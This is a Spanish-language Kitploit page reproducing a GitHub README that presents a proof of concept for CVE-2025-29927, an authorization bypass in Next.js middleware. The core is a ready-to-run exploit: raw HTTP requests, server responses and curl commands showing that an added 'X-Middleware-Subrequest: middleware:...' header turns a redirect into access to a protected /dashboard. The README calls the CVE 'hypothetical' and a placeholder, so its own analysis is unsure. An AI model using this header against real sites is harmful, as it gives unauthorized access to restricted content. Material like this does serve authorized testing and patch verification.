Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-29927-poc — Bypass de autorización en el middleware de Next.js | Kitploit
Herramientas/GitHubGitHub/dedibagus/cve-2025-29927-poc
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubdedibagus/cve-2025-29927-poc

cve-2025-29927-poc

Bypass de autorización en el middleware de Next.js

Ver Repositorio
33hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2025-29927-POC

Introducción

Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2025-29927, una vulnerabilidad hipotética que demuestra una falla en el manejo de middleware dentro de una aplicación web. La PoC ilustra cómo una solicitud HTTP especialmente manipulada puede evadir la lógica de redirección para acceder a contenido restringido, como un panel de control. Este proyecto está diseñado únicamente con fines educativos y de investigación en seguridad.

Aviso legal: Esta PoC está destinada a usarse en entornos controlados con permiso explícito. Las pruebas no autorizadas contra sistemas que no posees o para los cuales no tienes consentimiento son ilegales y poco éticas.


Tabla de Contenidos

  • Prerrequisitos
  • Resumen de la Vulnerabilidad
  • Pasos de la Prueba de Concepto
    • Paso 1: Solicitud Inicial (Sin Éxito)
    • Paso 2: Solicitud Modificada (Con Éxito)
  • Cómo Reproducirla
  • Referencias
  • Contribuciones
  • Licencia

Prerrequisitos

Para seguir esta PoC, necesitarás:

  • Un servidor objetivo (p. ej., abc.com) que ejecute una configuración vulnerable (software/versión específica por determinar según los detalles del CVE).
  • Una herramienta cliente HTTP como curl (curl.se), Burp Suite (portswigger.net/burp) o un script personalizado.
  • Conocimientos básicos de protocolos HTTP y cabeceras (consulta Documentación HTTP de MDN).

Resumen de la Vulnerabilidad

CVE-2025-29927 (marcador de posición; reemplázalo con los detalles oficiales del CVE cuando estén disponibles) parece explotar una mala configuración del middleware o una falla de lógica. La PoC demuestra que agregar una cabecera personalizada (X-Middleware-Subrequest) altera el comportamiento del servidor, evadiendo un mecanismo de redirección para acceder a contenido restringido. Esto probablemente se relaciona con la forma en que el middleware (p. ej., Nginx con Next.js) procesa subrequests o valida cabeceras.

Para obtener más información sobre vulnerabilidades de middleware, consulta Seguridad de Middleware de OWASP.


Pasos de la Prueba de Concepto

La PoC consta de dos pasos: una solicitud inicial sin éxito y una solicitud modificada con éxito. Cada paso incluye la solicitud HTTP, la respuesta y una explicación detallada.

Paso 1: Solicitud Inicial (Sin Éxito)

Este paso demuestra el comportamiento predeterminado del servidor al acceder al endpoint /dashboard sin cabeceras adicionales.

Solicitud HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Respuesta HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Explicación

  • Detalles de la Solicitud:
    • GET /dashboard: Intenta acceder al endpoint del panel de control.
    • Las cabeceras estándar como User-Agent y Accept imitan una solicitud típica de navegador.
  • Detalles de la Respuesta:
    • 307 Temporary Redirect: Indica que el servidor redirige al cliente, probablemente debido a la autenticación, autorización o lógica de enrutamiento (p. ej., redirigiendo a una página de inicio de sesión).
    • Server: nginx/1.14.1: Identifica el software del servidor web.
  • Análisis: La redirección sugiere un mecanismo de protección que impide el acceso directo a /dashboard. La ausencia de una cabecera Location en esta respuesta (posiblemente omitida por brevedad) implica que el destino de la redirección está en otro lugar.
  • Referencia: Aprende más sobre los códigos de estado HTTP en Estado HTTP de MDN.

Paso 2: Solicitud Modificada (Con Éxito)

Este paso introduce una cabecera personalizada para evadir la redirección, obteniendo exitosamente el contenido del panel de control.

Solicitud HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Respuesta HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Explicación

  • Detalles de la Solicitud:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Una cabecera personalizada agregada a la solicitud original. La cadena repetida middleware puede explotar una falla de análisis o validación en la pila de middleware.
    • Las demás cabeceras permanecen sin cambios con respecto al Paso 1.
  • Detalles de la Respuesta:
    • 200 OK: Confirma el acceso exitoso al contenido del panel de control.
    • Content-Type: text/html; charset=utf-8: Indica una respuesta HTML, probablemente la página del panel de control.
    • X-Powered-By: Next.js: Sugiere que la aplicación usa Next.js, un framework de React que a menudo depende del middleware para el enrutamiento.
    • Cache-Control: Evita el almacenamiento en caché, típico de contenido dinámico y específico del usuario.
    • Content-Length: 30174: Tamaño del cuerpo de la respuesta en bytes.
  • Análisis: La cabecera X-Middleware-Subrequest probablemente engaña al middleware para que trate la solicitud como una subrequest legítima, evadiendo la lógica de redirección. Esto podría indicar una vulnerabilidad en cómo se validan o procesan las subrequests.
  • : Explora el middleware de Next.js en .

Cómo Reproducirla

Sigue estos pasos para reproducir la PoC usando curl:

Paso 1: Envía la Solicitud Inicial

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Resultado Esperado: Una respuesta 307 Temporary Redirect.

Paso 2: Envía la Solicitud Modificada

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Resultado Esperado: Una respuesta 200 OK con el contenido del panel de control.

Nota: Reemplaza abc.com con el dominio objetivo real si realizas pruebas en un entorno autorizado.


Referencias

  • Detalles del CVE - Base de datos oficial de CVEs (actualiza con el enlace específico del CVE cuando esté disponible).
  • Documentación HTTP de MDN - Fundamentos del protocolo HTTP.
  • Middleware de Next.js - Información sobre el comportamiento del middleware de Next.js.
  • Seguridad de Middleware de OWASP - Resumen de vulnerabilidades de middleware.
  • Manual de curl - Guía para usar curl en solicitudes HTTP.

Licencia

Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.

Descargar herramienta
Referencia
Documentación de Next.js